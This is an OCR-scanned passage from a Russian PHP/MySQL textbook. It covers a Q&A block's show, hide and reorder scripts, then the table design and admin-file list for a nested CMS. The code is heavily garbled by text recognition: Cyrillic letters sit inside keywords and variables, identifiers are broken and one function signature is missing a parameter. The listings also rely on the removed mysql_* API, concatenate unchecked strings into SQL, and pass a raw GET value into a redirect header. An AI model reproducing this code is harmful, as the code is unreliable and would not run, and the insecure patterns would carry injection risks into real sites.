$whe re "i if( !mys ql_que ry ($query) ) throw пеw Except i onМySQL (mys ql_error () , $que ry, "Ошибка при отображении позиции ") i
602 Часть 11. Создание са йта Функция осуществляет UPDAТЕ-зап рос и отображает позицию с первич­ ным ключом $id_p o sit ion. В случае неудачи генерируется исключение Excepti onMySQL. в листинге 11.9 приводится возможная реализация функции hide ( ), которая аналогична ранее рассмотренной функции show ( ); исключение составляет лишь SQL-запрос. Листинг 11.9 . Функци я hide О <?php ?> function hide ($id_po sition , $tblyame , $where = "", $fld_name = "idyosition" ) 11 Проверяем GЕТ-параметр , пр едотвращая SQL-инъекцию $id_po sition = intval ($idyos ition) ; 11 Скрываем позицию $query = "ОРDАТЕ $tbl_name SET hide= 'hide ' WНERE $fld_name=$ idyosition $where"; if( !mysql_query($query) ) throw new ExceptionМySQL (mysql_error () , $query, "Ошибка при сокрытии позици и "); с учетом того, что функции show ( ) и hide ( ) помещаются в файл util s/uti ls.position.php, управляющий скрипт hide.pllp для системы ад минист­ рирования блока "Вопросы и Ответы" может выглядеть так, как это пред­ ставлено в листинге 11.10.
Глава 11. Блок "Вопросы и Ответы " Листинr 11.10. Сокрытие позиции hide.php <?php ?> // Устанавливаем соединение с базой данных require_once (" ../ ../config/config .php ") ; // Подключаем блок авторизаци и require_once (" ../utils/security_rn od .php ") ; / / Подключаем SoftTirne FrarneWo rk require_once (" . ./ ../config/class .config . drn n .php" ) ; // Блок управления позициями (show() , hide(), ир (), down() ) require_once (" ../utils/utils .position .php ") ; // Проверяем GЕТ -параметр , предотвращая SQL-инъе кцию $_GET ['id_pos ition '] = iпtvаl ( $_GЕТ ['i d-роsitiоП' ])i / / Скрываем позицию try hide ( $_GET ['id_position '], $tbl_faq) ; header ( "Location : index . php?page=$_GET [page] ") ; catch (ExceptionМySQL $ехс) requi re ("../utils/exception_rny sql .php" ) ; БОЗ Аналогичным образом выглядит файл SllOw.pllp, тол ько вместо ФУНКЦИИ hide () в контролируемом блоке вызывается функция show ( ) . Функции ир () и down ( ), которые соответственно поднимают ил и опускают текущий блок на одну позицию, имеют следующий синтаксис: ир ($id-pos ition, $tb l_narne [[, $where] , $fld_narne = "id_po sition" ]); dOWn ($id-ро sitiоп, $tb l_narne [[, $where] , $fld_narne = "id-position" ] ); Через параметры данных функций передаются : l] $id_p o sition - первичный ключ текущей позиции; l] $tb l_narne - имя таблицы;
604 Часть 11. Создание сайта LI $whe re - дополнительные условия для конструкции WHERE, необязател ь- ный параметр; LI $fld_name - имя первичного кл юча, если оно отлично от id_pos ition. Оттал киваясь от кода из листинга 11.5 можно создать функцию ир ( ), осуще­ ствл яющую подъем текущего блока на одну позицию вверх (л истинг 11.1 1). Листинг 11.11 . Функция up () <?php // Подъем блока на одну позицию вверх funct ion up ($id_po sition , $tbl_name , $where = "", $fld_name = "idyos ition" ) // Извлекаем текущую позицию $query = "SELECT pos FROM $tbl_пате WНERE $fld_name = $idy osition LIMIT 1"; $pos = mysql_query ($query) ; if (!$pos ) } throw new Except ionМySQL (mysql_error () , $query, "Ошибка при извлечении текущей позици и "); $pos_current = my sql_result ($pos , О) ; // Извлекаем предыдущую позицию $query = "SELECT pos FROM $tbl_name WНERE pos < $pos_current $whe re ORDER ВУ pbs DESC LIMIT 1";
Глава 11. Блок "Вопросы и Ответы " ?> $роз = mys ql_query ($que ry) ; if (!$роз ) throw new Except i onМySQL (mys ql_error () , $que ry, "Ошибка при извлечении предыдущей позиции ") ; $pos-preview = mysql_result ($pos , О) ; // Меняем ме стами текущую и предыдУЩУЮ позиции $query = "UPDATE $tbl_name SET роз = $pos_current + $pos - preview - роз WHERE р оз IN ($pos_current , $pos_preview ) $where "; if( !mysql_query ($query) ) throw new Except i onМySQL (mys ql_e rror () , $query, "Ошибка изме �ения позици и "); 605 По аналогии с функцией ир () те перь можно создать функцию down ( ), вы­ полняющую сдв иг блока на одну позицию вниз (листинг 1 1.12). Листинг 11.12. Функция down () <?php // Сдвиг блока на одну позицию вниз function dOWn ($id-роs itiоп, $tbl_name , $where = "", "id_po sition" )
БОБ // Извлекаем текущую ПОЗИЦИЮ $query = "SELECT pos FROM $tb l_name WНERE $fld_name = $id-position LIMIT 1"; $pos = mysql_que ry ($que�y} ; if (!$pos ) throw new ExceptionМySQL (mys ql_error (} , $query, Часть 11. Создание са йта "Ошибка ПрИ извлечении текущей позици и "}; $pos_current = mysql_result ($pos , О} ; } // Извлекаем следующую позицию $query = "SELECT pos FROM $tb l_name WНERE pos > $pos_current $whe re ORDER ВУ pos LIMIT 1"; $pos = mysql_query ($query} ; if (!$pos ) throw new ExceptionМySQL (mys ql_error (} , $que ry, "Ошибка при извлечении следующей позици и "}; $pos_next = my sql_result ($pos , О} ; // Меняем ме стами текущую и следующую позици и $query = "UPDATE $tb l_name SET pos = $pos_next + $pos_cur rent - pos WНERE pos IN ($pos_next , $pos_current ) $where ";
Глава 11. Блок "Вопросы u Ответы" ?> if ( !mysql_query ($que ry) ) ( throw new ExceptionМySQL (mys ql_e rror () , $query, "Ошибка изменени я позиции ") ; 607 Те перь управляющие скрипты faq up.php (см . листинг 11. 5) и fa qdowl1 .pl1p (см . листинг 11. 6) можно переписать с использованием функций ир () и down ( ) . в листинге 11.13 приводится содержимое файла fa qup.php. Листинг 11.1 З. Управляющий скрипт fa qup.php <?php ?> // Устанавливаем соединение с базой данных require_once ("../ . ./config/config .php ") ; // Подключаем блок авторизации requi re_once (" ../utils/security_mod .php" ) ; // Подключаем SoftTime FrameWork require_o nce (" ../ . ./config/class.config .dmn.php ") ; // БлС;>к управления позициями (show ( ), hide ( ), ир (), down () ) requi re_once (" ../utils /utils . pos ition .php" ) ; // Проверяем, передано ли число в GЕТ-параметре $_GET ['id_p osition' ] = intval ($_GET [ ' id_pos ition' ] ); try up ( $_GET ['id-роsitiоп' ], $tbl_faq) ; header ( "Location : index . php ?page=$_GET [page ] ") ; catch ( Excepti onМySQL $ехс) require (" . ./utils /exception_mys ql .php ") ;
б08 Часть 11. Создание са йта При разработке остал ьных блоков сайта достато чно будет лишь изменять имена таблиц для функций show ( ) , hide ( ) , ир () и down () и путь для возврата в НТТР-заголовке Locat ion. 11.3. С истема предста вления Систе ма представления будет состоять из одного файла faq .pl1p, постран ично выводящего содержимое табл ицы sуstеш_ fаq ( $tbl_faq) , за исключением тех блоков "вопрос-ответ", которые имеют статус скрытых. В листинге 11.14 представл ена возможная реализация файла faq .pllp. Листинг 11.14. Система представления блока "Вопрос ы и Ответы" <?php // Устанавливаем соединение с базой данных require_once ("config/config.php" ) ; // Подключаем SоftТiше FrameWork require_once ("c onfig/class . config . php" ) ; // Подключаем функцию вывода текста с bbCode require_once ("dmn /utils/utils . printyage .php" ) ; // Подключаем заголовок require_once ("uti1s .tit1e .php " ); try ( // Количество сообщений на странице $pnumber = 10; // Количество ссылок в постраничной навигации $page_l ink = 3; // Объявляем объект постраничной навигации $obj = new раgе r_шуs q1 ($tbl_fаq, .", , "ORDER ВУ pos ", $pnumbe r, $page_link ) ; // Подключаем верхний шаблон $tit1e = "Вопросы и Ответы" ;
Глава 11. Блок "Вопросы и Ответы " ?> $keywo rds = "Вопросы и Ответы" ; require_once ("ternplates /top.php" ) ; // Получаем содержимое текущей страницы $faq = $obj ->get_page () ; // Если имеется хотя бы одна запись - выводим ее if( !ernpty($faq)) ( echo title ($title) ; for ($i = О; $i < count ($faq� ; $i++) echo "<div class=rnain txt><b> ". n12br (print_page ($fa q[$i] [ 'question' ] ) ) . "</b></div>" ; echo "<div class=rnain txt>" . n12br (printyage ($faq[$i] [ ' answer ' ] ) ) . "</div>"; / / Выводим ссылки на другие страницы echo "<div class=rnain_txt>" ; echo $obj ; echo "</div>" ; catch ( ExceptionМySQL $ехс ) requi re_once ("e xception_mysql_debug .php ") , i catch ( Excepti onМySQL $ехс ) require_once ("exception_mysql_debug .php " ); catch (ExceptionМember $ехс ) require_once ("exception_memb er_debug .php " ); // Подключаем нижний шаблон requi re_once ("ternplates /bottom.php ") ; 609
610 Часть 11. Создание сайта Резул ьтат выполнения скрипта из листинга 1 1.14 демонстрируется на рис. 11 .4 . какsaЩtfПIТЬ директорию на сайте ОТ кесаНКЦlКЖttРОванкого доступа черв 6рауэер. Для ,1 ого .мQЖf.tO воcnользова1'ЬСР :КDнфиг�I.' фдЙnaNИ .htacress 11 .htpasSV!.!d, описаНl1е кDторы'можноo найп� е ст·зтье ПО ссылке. Чем может быть аЫ3&аКО ссо6щение инте.рпретатора РНР Саппо! modIfy header Information - headers already sent Ьу? Куки, сессии, DТ.правка hr rP -зarОЛD8.1.ф9 доnжt'bl npoисхо.дить ДО отправки любой инф0pмatv44 в окно брауэера, т.е . .до люО О -о 6ыодаa echo, print 11ЛИ непосредственного 5ывода вне ТЭГО8 <?php и ?>. Это саязatiо с тен, что НТ ТР - Рис. 11 .4. Внешний вид блока "Вопросы и Ответы"
ГЛАВА 12 Система администрирования содержимого сайта (CMS) До это го момента рассматривались специализированные блоки управления сайтом, название и структуру кото рых невозможно изменить, не редактируя исходного кода. В данной гл аве будет рассмотрена универсал ьная система управления содержимым сайта, позволяющая создавать бесконечно вложе н­ ную структуру сайта и допускающая добавление статей на каждый из уров­ ней. Сами статьи состоят из параграфов, каждый из которых может быть снабжен одним или несколькими изображениями. ЗАМЕЧАНИЯ Обычно когда говорят об CMS (Content Management System), имеют в виду именно такую структуру, которая при помощи системы администрирования позволяет управлять как структурой сайта , так и его тексто вым и графиче­ ским содержи мым. Структура блока традиционно делится на базу данных, систему администри­ рования и систему представления. 12.1 . База данных в отличие оТ 'предыдущих блоков, обойтись лишь одной таблицей не удастся . Для полноценного представления результатов потребуется как минимум че­ тыре таблицы: L] systern_rnenu_c atalog - табл ица для хранения разделов, кото рые могут содержать в своем составе как подраздел ы, так и статьи (в скриптах имя табл ицы хранится в переменной $tbl_catalog);
612 Часть 11. Создание са йта CI system_menu_po sition - таблица для хранения стате й, которые состоят из параграфов (в скриптах имя таблицы хранится в переменной $tb l_position) ; CI system_menu_paragraph - таблица для хранения параграфов, кажд ый из которых может быть проиллюстрирован несколькими изображениями (в скриптах имя таблицы хранится в переменной $tbl_p aragraph) ; CI system_menu_paragraph_ima ge - таблица для хранения изображен ий (в скриптах имя таблицы хранится в переменной $tb l_pa ragraph_imag e ) . Табл ица system_menu_c atalog, предназнач енная для хранения раздел ов сай­ та, состоит из следующих восьми полей: CI id_catalog - первичный ключ табл ицы, предназначенный для иденти­ фикаци и раздела и снабженный атрибутом AU TO_ INCREMENT, позволяю­ щим автоматически генерировать для новых записей уникальный иде н­ тификатор; CI пате - название раздел а; CI de scription - описание раздела; CI keywords - ключевые слова, помещаемые в МЕТА-тег keywords И сооб­ щающие поисковым роботам основное содержание страницы; CI mo drewri te - текстовое поле, предназначенное для формирования URL при помощи модуля Web-сервера АрасЬе modJewrite, который позволяет преоб­ разовать GЕТ-параметры вида illdех.рhр?уеаг-2006&ПЮl1tl1= 10&dау=26 в бо­ лее компактный и читаемый URL вида /2 00611 0/26. К сожалению, такой под­ ход требует привязки приложения к корню сайта (что не всегда удобно) и несколько увеличивает нагрузку на Web-сервер Apacl1e; CI роз - позиция раздела относител ьно других разделов : данное поле пред­ назначено для их сортировки; раздел ы можно сортировать по названию, но это не всегда удобно, так как зачастую они должны быть расположены в логическом, а не ал фавитном порядке; CI hide - служебное поле типа ENUM, принимающее тол ько два значения: hide, есл и раздел скрыт и недоступен для просмотра со страниц сайта, и show, если раздел отображается на страницах сайта; CI id_parent - внешний кл юч табл ицы, содержащий значение id_catalog родительского раздела; дл я ко рневого раздела принимает значение О. Данное поле обеспечивает возможность создания бесконечно вложенной структуры саЙта.
Глава 12. Система администрирования содержимого сайта (CMS) 613 в листи нге 12.1 приводится оператор CREATE TAвLE, создающий табл ицу s y s t em_menu_cata1og, которая в скриптах обозначается при помощи пере­ мен ной $tbl_cata1og. Л истинг 12.1 . Та бл ица разделов sys tern_menu_catalog ( $tbl_cata l og) CRБАТЕ TAВLE system_menu_c ata1og ( ); id_cata1og INT ( 11) NOT NULL AUTO_INCREМENT , пате TINYTEXT NOT NULL , de scription ТЕХТ NOT NULL , keywords TINYТEXT NOT NULL , mo drewrite TINYTEXT NOT NULL , pos INT (ll) NOT NULL DEFAULT 'О' , hide ENUM('show' , 'hide' ) NOT NULL DEFAULT 'show' , id_parent INT (ll) NOT NULL DEFAULT 'О', PRIМARY КЕУ (id_cata1og ) Остановимся подробнее на поле id_p a rent, кото рое обеспечивает создан ие бесконечно вложенной структуры раздел ов. Есл и раздел является подразде­ лом, данное поле принимает значение id_cata1og родител ьскоI;'О раздела ка­ тал ога. В листинге 12.2 приводится дам п, состоя щий из двух кор невых ката­ логов "Материнские платы " и "Жесткие диски", каждый из кото рых содержит подраздел ы, соответствующие различным производителя м. Листинг 12.2 . Дамп таблицы system _ menu_catalog ($tb l_ca ta log) INSERT INTO system_menu_cata1og VA LUES (1, 'Материнские пл аты' , " (2, 'Жесткие диски', " , " ,, ,, ,, 1, 'show', О), 2, 'show', О), (3, 'Micro-star', " , " , " , 1, 'show', 1), (4, 'Gigabyte', ", ", ", 2, 'show', 1), (5, 'Asustek ', " , ", ",3 , 'show', 1), (б, , Ерах',",",",4,'show',1), (7, 'Maxtor', "," , " , 1, 'show', 2), (В, ,Saтsung', "," , ",2, 'show', 2), (9, 'Seagate', " , " , ",3 , 'show', 2); На рис. 12.1 приводится схема соотношения разделов из дам па 12. 2 со значе­ ниями полей id_cata1og, id_pa rent и pos . Поле pos обеспечивает сортиров­ ку подраздел ов в рамках каждой из групп разделов.
614 Часть 11. Создание сайmа Материнские платы Micro-Star id_catalog = 1 id_catalog = 3 id_parent = О id_рагепt = 1 pos=1 pos=1 Gigabyte --+ id_catalog = 4 id_рагепt = 1 pos=2 Asustek --+ id_catalog = 5 id_рагепt = 1 pos=3 Ерох � id_catalog = 6 id_parent = 1 pos=4 Жесткие диски Maxtor id_catalog = 2 id_catalog = 7 id_parent = О id_parent = 2 pos=2 pos=1 Samsung --+ id_catalog = 8 idJ)arent = 2 pos=2 Seagate 4 id_catalog = 9 idJ)arent = 2 pos=3 Рис. 12. 1 . Структура вложенного каталога в результате, чтобы получить все подразделы раздела "Материнские платы " (id_catalog = 1), достаточно выполнить SQL-запрос вида: SELECT * FROM system_menu_c atalog WHERE id_parent = 1;
Глава 12. Система администр ирования содержимого сайта (CMS) 615 Есл и при этом добавить конструкцию ORDER ВУ pos, то записи будут отсор­ тированы по полю pos : SELECT * FROM system_menu_catalog WНERE id_parent = 1 ORDER ВУ pos ; В прочем, сортировка по полю pos необязател ьна - иногда удобнее сортиро­ вать резул ьтаты запроса в ал фавитном порядке : SELECT * FROM system_me nu_catalog WНERE id-parent = 1 ORDER ВУ пате ; Каждый из раздел ов, за исключен ием корневого, может содержать стат ь и и ссыл ки на страницы (возможно, даже другого саЙта). Дnя хранения служебной информаци и об этих элементах предназначена таблица system_me nu _pos it ion, которая содержит восемь полей: LJ id_p o sition - первичный ключ табл ицы, предназначенный для иденти­ фикации элемента и снабженный атрибутом AU TO_INCREMENT, позволяю­ щим автоматически генерировать для новых записей уникальный иден­ тификатор; LJ пате - название статьи или ссылки; LJ url - поле предназначено для хранения URL, есл и текущий элемент яв­ ляется ссылкой; если же он является статьей, дан ное поле принимает зна­ чение article; LJ keywords - ключевые слова, помещаемые в МЕТА-те г keywords И сооб­ щающие поисковым роботам основное содержан ие стран ицы; LJ mo drewri te - текстовое поле, предназначенное для формирования URL при помощи модуля Web-сервера Арасl1е modJewrite, который позволяет преоб­ разовать GЕТ-параметры вида index.pllp?yeaг-2006&montl1= 1 0&day=26 в бо­ лее компактный и читаемый URL вида /2 00611 0/26. К сожал ению, такой под­ ход требует привязки приложения к корню сайта, что не всегда удобно, и несколько увеличивает нагрузку на Web-сервер Арасl1е; LJ pos - поле предназначено для сортировки элементов: чем меньше его значение, тем выше располагается эл емент, и наоборот, чем бол ьше зна­ чение поля pos, тем ниже распол агается элемент в общем списке; LJ hide - служебное поле типа ENUM, принимающее только два знач ения : hide, если элемент скрыт и недоступен для просмотра со стр аниц сайта, и show, если элемент отображается на страницах сайта;
616 Часть 1/. Создание са йта о id_catalog - внешний ключ для табл ицы system_me nu _c atalog, поз во­ ляющий привязать статью к конкретному разделу . Поле id_catalog позволяет связать табл ицы system mепи catalog И system_me nu_pos ition связью "один-ко-многим" (рис. 12.2). system_m enu_catalog system_menu_position Раздел Позиция = 1 id_catalog = 1 id_position = 1 pos=1 id_catalog = 1 Позиция = 2 - � id_position = 2 pos=2 id_catalog = 1 Позиция = 3 - --+ id_position = 3 pos=3 id_catalog = 1 Рис. 12.2. Связь "один-ко-многи м" табл иц sys tem_menu _c atalog и system_menu_pos ition осуществляется при помощи внешнего кл юча id_catalog в листи нге 12.3 приводится оператор CREATE TAВLE, создающий табл ицу system_menu _pos ition, которая в скр иптах обозначается при помощи пере­ менной $tb l_posit ion. ЗА МЕЧА НИЕ П редложенная структура б азы данных позволяет хранить одну статью тол ько в одном разделе; невозможно включить одну и ту же статью одно­ временно в нескол ько разделов. Дл я такой организации данных необходи­ мо предусмотреть дополнител ьную табл ицу, каждая из записей которой со­ поста вляла б ы первичный кл юч элемента id_p o sition с разделом id_саtalog, осуществляя тем самым связь " многие-ко -многим" . Кол ичество записей для каждого из эл ементов id_po sition определяло б ы , в скол ьких
Гл ава 12. Система администрирования содержимого сайта (CMS) 617 разделах располагается элемент, а кол ичество записей для раздела id_cata1og определяло бы кол ичество элементо в в разделе. Здесь такая организация структуры базы данных не рассматривается , та к как ссылки п озволяют сослаться на любую страницу, в том числе и на статью из друго­ го раздела саЙта . Л и стинг 12.3. Та блица элементо в system_menuyo s�t�on ($ tblyos� t�on) СRБAТЕ TAВLE system_rnenu _pos ition ( id_po sition INT (ll) NOT NULL AUTO_INCREMENT , пате TINYTEXT NOT NULL , ); ur1 ТЕХТ NOT NULL , keywords TINYTEXT NOT NULL , rnodrewrite TINYTEXT NOT NULL , pos int (ll) NOT NULL DE FAULT 'О' , hide ENUМ ('show ' , 'hide' ) NOT NULL DEFAULT 'show' , id_catalog INT (ll) NOT NULL DE FAULT 'О', PRlМARY КЕУ (id_po sition) Есл и элемент представляет собой ссылку, то рассмотренных выше табл иц systern_rnenu _cata1og И systern_rnenu_pos ition достаточно для хр анения дан­ ных. Однако есл и табл ица является статьей, необходимо предусмотреть еще одну табл ицу systern_rnenu_paragraph, которая бы хранила параграф ы, при­ надл ежащие текущей статье. Таблица systern_rnепи_p aragraph содержит во­ сем ь полей : D id_paragraph - первичный кл юч таблицы, предназначенный дл я иде н­ тификации параграфа и снабженный атр ибутом АО ТО_INCREMENT, позво­ ляющим авто матически генерировать уникальный идентификатор для новых записей; D паrnе - содержимое параграфа; D type - поле типа ENUM, кото рое может принимать одно из восьми значе­ ний: text - дл я обычного тексто вого параграфа, list - для списка и шесть (от tit1e_h l до tit1e_h 6 ) - для НТМL-загол овков от <Нl> до <Н6>; D align - поле типа ENUM, определяющее выравнивание параграфа; может принимать одно из трех значений: 1eft - выравнивание по левому краю, center - по центру и right - по правому краю;
618 Часть 11. Создание сайmа LI hide - служебное поле типа ENUM, принимающее тол ько одно из двух значений: hide, есл и параграф скрыт и недоступен для просмотра СО страниц сайта, и show, если параграф отображается на стр аницах сайта; LI pos - позиция параграфа относител ьно других параграфов; данное пол е предназначено для их сортировки; LI id_po sition - внешний ключ для табл ицы system_menu_position, по­ зволя ющий привязать параграф к кон кретной статье; LI id_cata1og - внешний ключ для табл ицы system_menu_cata1og, указы- вающий, к какому разделу принадлежат статья и те кущий параграф . Следует отметить, что табл ица system_menu_paragraph связана с двумя таб­ лицам и system_me nu _pos ition и system_menu _c ata1og. На первый взгляд может показаться, что связь с табл ицей system_menu_cata1og является из­ лишней, так как всегда можно восстановить принадл ежность параграфа тому ил и иному разделу через табл ицу элементо в system_menu_position без рас­ ширения таблицы на допол нител ьное поле, содержащее внешний кл юч id_cata1og. Однако практика показы вает, что предложе нный подход являет­ ся более рациональным, так как позволяет удалять раздел ы без перебора всех элементов. Так, для того чтобы удалить элементы и параграфы раздела, дос­ тато чно выполнить всего три DЕLЕТЕ-запроса: DELETE FROM system_menu_paragraph WНERE id_cata1og = 1; DELETE FROM system_menu-position WHERE id_cata1og = 1; DELETE FROM system_menu_cata1og WHERE id_cata1og = 1; Есл и бы в табл ице system_me nu_paragraph отсутствовал внешний кл юч id_cata1og, пришлось бы выполн ить SЕLЕСТ-запрос к табл ице sys­ tem_me nu_position: SELECT * FROM system_menu _position WНERE id_cata1og = 1; Далее в цикле необходимо было бы выполнить отдел ьный DЕLЕТЕ-запрос на удаление каждого из параграфов. ЗА МЕЧАНИЕ Тип табл иц InnoDB позволяет осуществлять каскадное удаление данных из связанных табл иц, однако InnoDB таблицы гораздо медленнее (иногда в разы), чем традиционные MyISAM-табл ицы. Поэто му многие Web­ разработч ики ориентируются на менее функциональные, но более быстрые MyISAM-табл ицы.
Гл а ва 12. Система администрирования содержимого са йта (CMS) 619 в листинге 12.4 приводится оператор CREATE TABLE, создающий табл ицу s ys tem_menu_paragraph, которая в скриптах обозначается при помощи пере­ м е н н ой $tb l_paragraph. ЗА МЕЧА НИЕ Поле type В листи нге 12.4 заключено в обратные ка вычки. Э то связано с тем, что сл ово type является зарезервированным, и чтобы MySQL-сервер мог корректно разобрать SQL-запрос, необходимо при помощи обратных ка вычек указать на то, что это название стол бца, а не кл ючевое сл ово. Л и сти нr 12.4. Таблица параграфов sys tem _ menuya ragraph ($tblyaragraph) CREATE TAВLE system_menu_paragraph ( id-paragraph INT (ll) NOT NULL AUTO_INCREМENT, пате ТЕХТ NOT NULL , ); 'type ' ENUM( 'text', 'title_hl ', 'title_h2 ', 'title_h3 ', 'title h4 ', 'tit le_h5 ', 'titlе_hб ', 'list') NOT NULL DEFAULT 'text ', align ENUМ('left', 'center ', 'right' ) NOT NULL DEFAULT 'left' , hide ENUМ( 'show' , 'hide' ) NOT NULL DEFAULT 'show' , pos INT (ll) NOT NULL, id_po sition INT (ll) NOT NULL , id_catalog INT (ll) NOT NULL , PRlМARY КЕУ (id_pa ragraph ) Для формирования полноценных статей необходимо предусмотреть добавле­ ние изображений, причем каждый из параграфов может содержать произ­ вольное кол ич�ство изображений (формируя своеобразную фотогалерею) . Хранить фотограф ии в базе дан ных MySQL не рационально, так как скорость доступа к ним окажется гораздо ниже, чем если бы они хранились на жест­ ком диске. MySQL, как и любая другая СУБд, с большой скоростью опери­ рует короткими текстовыми строкам и, однако при возрастании объема дан­ ных и таблиц скорость обращения резко падает. Принимая это во внимание, изображения будут храниться в специальной директории, а в табл ицу базы дан'ных будет помещаться лишь путь к ним. Для хранения путей к изображе­ ниям разработаем табл ицу system_menu_paragraph_ima ge, которая содержит десять полей: r:J id_image - первичный ключ табл ицы, предназначе нный дл я иде нтифи­ кации изображения и снабженный атрибутом AUTb_INCREMENT, позво-
620 Часть 1/. Создание са йта ЛЯ ЮЩИМ авто матически генерировать уникальный идентификатор для новых записей; CJ пате - название изображения, выводимое в качестве подписи под изо­ бражением; CJ alt - содержимое ALT-Tera, которое выводится у посетителя, если в его брауз ере отключено отображение изображений; CJ small - путь К уменьшенному варианту изображения; CJ big - путь к большому изображе нию, кото рое выводится при щелчке мышью по его уменьшенному варианту; CJ hide - служебное поле типа ENUM, принимающее тол ько два значения: hide, если изображе ние скрыто и недоступно для просмотра со страниц сайта, и show, если изображение отображается на страницах сайта; CJ pos - позиция изображения относител ьно других изображений; данное поле предназначено для их сортировки; CJ id_p osition - внешний ключ для табл ицы system_menu_pos ition, ука­ зывающий, к какой статье принадлежит параграф, а следо вател ьно, и изображение; CJ id_catalog - внешний кл юч для табл ицы system_menu_c atalog, указы­ вающий, к какому разделу принадлежит статья, параграф, а следовател ь­ но, и изображение; CJ id_paragraph - внешний ключ для табл ицы sуstеш_тепu_раrаgrарh, позволяющий привязать изображение к конкретному параграфу. В листинге 12.5 приводится оператор CREAT E TABLE, создающий табл ицу system_те пи_p aragraph_iшаgе, которая в скриптах обозначается при помощи переменной $ tbl_par ag r aph_image. Листинг 12.5. Таблица изображений system_теnиyaragraph_image ($tblyaragraph_image) СRБАТЕ TAВLE system тепи paragraph_ima ge id_image INT (ll) NOT NULL AUTO_INCREМENT, пате TINYTEXT NOT NULL , alt TINYTEXT NOT NULL , sшаll TINYTEXT NOT NULL , big TINYTEXT NOT NULL , hide ENUМ ( , show ' , 'hide' ) NOT NULL DE FAULT 'show' ,
Глава 12. Система администр ир ования содержимого са йта (CMS) ); pos INT (ll) NOT NULL DEFAULT 'О' , id_po sition INT (ll) NOT NULL DEFAULT 'О', id_catalog INT (ll) NOT NULL DEFAULT 'О', id_paragraph INT (ll) NOT NULL , РЮМARУ КЕУ (id_irnage ) 12.2. С исте м а адм инистриро вания 621 Структура системы администрирования содержимого сайта напоминает структуру системы администрирования предыдущих блоков (см . главы 1 О и 11). Для каждого из объекто в, фигурирующих в базе дан ных (раздел , эле­ мент, параграф и изображение), предусматривается страница со списком объектов одного из типов . На дан ной странице располагаются управляющие ссылки, позволяющие добавлять, удал ять, редактировать и менять порядок следования объекто в. Ниже приводится полный список файлов системы аДМ l1нистрирования сис­ те мы управления содержимым сайта (CMS): О artadd.pllp - НТМL-форма для добавления стате й; О artedit.pllp - НТМL-форма для редактирования стате й; О catadd .php - НТМL-форма для добавления раздел ов; О catdel .pl1p - скрипт для удал ения разделов; О catdown.pl1p - скрипт, позволяющий опускать раздел на одну позицию вниз относительно остальных разделов; О catedit.pl1p - НТМL-форма для редактирования разделов; О catl1 ide.pl1p - скрипт, позволяющий скрывать раздел ы; О catsllOw.pllp - скрипт, позволяющий отображать раздел ы; О catup.pl1p - скрипт, позволяющий подн имать раздел на одну позицию вверх относител ьно остал ьных раздел ов; О image .php - страница, выводящая список изобра:жений текущего пара­ графа; О imgadd .php - НТМL-форма для добавления изображений; О imgdel.pllp - скрипт, позволяющий удалять изображения;
622 Часть 11. Создание са йта о imgdowl1 .pll p - скрипт, позволяющий перемещать изображение на од ну позицию вниз относител ьно остальных изображений; О imgi1ide.pllp - скрипт, скры вающий изображение; О imgsllOw.pllp - скрипт, отображающий изображение; О imgup.pllp - скрипт, позволяющий поднимать изображение на одну по- зицию вверх относительно остальных изображений; О il1dex.php - страница, выводящая список подразделов текущего раздела; О paradd.pllp - НТМL-форма для добавления параграфов; О paragraph.pi1p - страница, выводящая список параграфов текущей статьи ; О pardel.pllp - скрипт для удаления параграфов; О pardowl1 .pllp - скрипт, позволяющий опускать параграф на одну пози- цию вниз относительно остальных параграфов; О paredit.php - НТМL-форма для редактирования параграфов;, О pari1ide.php - скрипт, скрывающий параграф; О parshow .php - скрипт, отображающий параграф; О paru p.pllp - скрипт, позволяющий поднимать параграф на одну позицию вверх относител ьно остал ьных параграфов; О positiOI1.pllp - страница, выводящая список эл ементов текущего раздела; О show.php - страница просмотра увеличенного изображения; О urladd.pllp - НТМL-форма для добавления ссылок; О urldel.php - скрипт, позволяющий удалять эл ементы (ссыл ки и статьи); О urldowl1.pi1p - скрипт, позволяющий сдвинуть эл емент (ссылку или статью) на одну позицию вниз относител ьно остал ьных эл ементов (ссы­ лок или стате й); О urledit.php - НТМL-форма для редактирования ссылок; О urlhide.pi1p - скрипт, позволяющий скрывать элемент (ссылку или статью); О urlsllOW .pllp - скрипт, позволяющий отображать элемент (ссылку или статью); О urlup.pllp скрипт, позволяющий поднимать элемент (ссылку или статью) на одну позицию вверх относительно остальных эл ементов (ссы­ лок или стате й).
Гла ва 12. Система администрирования содержимого са йта (CMS) 623 Разр аботка иерархических систем, включающих несколько связанных таб­ ли ц, осуществляется, как п р авило, свер ху вниз. Сначала разрабатываются с кр ипты и НТМL-формы для р азделов, потом для эл ементов (ссылок и ста­ тей), затем ДЛ Я парагр афов и, наконец, для изображений. Тако й порядок раз­ работки диктуется структурой базы данных и необходимостью уже разрабо­ тан ных инструментов для добавления, редактирования и просмотра эл емента более высокого уровня, прежде чем приступать к разработке подчиненного . .'t'rJP; ; еление аr:каунт ами Cтpympa саЙта Здесь осуществляется адt.lИН�IC.ТРl1рование р3зделw сайта, до! ! авлеЮ1в новых подразделов и их элементов Название ОписаНllе ПО3. ДeJiсmия Матерински е платы ВЕерх � Рiщактировать �. В низ LШ.ш Скры ть Жесткие писки 2 РедilЩIpQВЭТЬ Уд алить !;lJш,;. Рис. 12.3. Список разделов системы администрирования содержимого сайта (CMS) ЗАМЕЧАНИЕ Созда ние скриптов, удаляющих раздел ы, статьи, параграфы и изображе­ ния, часто откладывается до тех пор, пока не будет построена вся инфра­ структура для добавления и удаления этих объектов. Удаление разделов должно приводить к удалению всех подчиненных стате й, их параграфов и изображений; удаление статьи должно сопровождаться удалением пара­ графов и изображений, а удаление параграфа не должно оста влять в сис­ теме не принадлежащих никому изображений. Отлаживать такие скрипты
624 Часть 11. Создание сайта удобнее и надежнее, когда имеются инструменты дл я построения всех уровней системы. Пр и обращении пользователя к блоку управления содержимым сайта он п о­ падает на страницу index.pllp, отображающую список раздел ов (рис. 12.3). Как видно из рис. 1 2.3, на гл авной странице выводится табл ица, каждая из строк которой отводится для одного из разделов. Стол бцы табл ицы включа­ ют название раздела, его описание, элемент и управляющие ссылки. Наз ва­ ние раздела представляет собой ссылку, переход по которой приводит К ото­ бражению подразделов и элементо в текущего раздел а. На рис. 12.4 приводится стран ица с подраздел ам и раздела "Матер инские платы"; важно отметить, что в навигационной строке перед табл ицей разделов появляется допол н ител ьный пункт, позволяющий вернуться на один уровень выше. По мере перехода к подразделам более низкого уровня навигационная строка удл иняется, указывая пол ьзовател ю, в какой части иерархии он находится в настоя щий момент. Блок НOFЮС'fИ VГЮ2вл ение .Ш Ш. 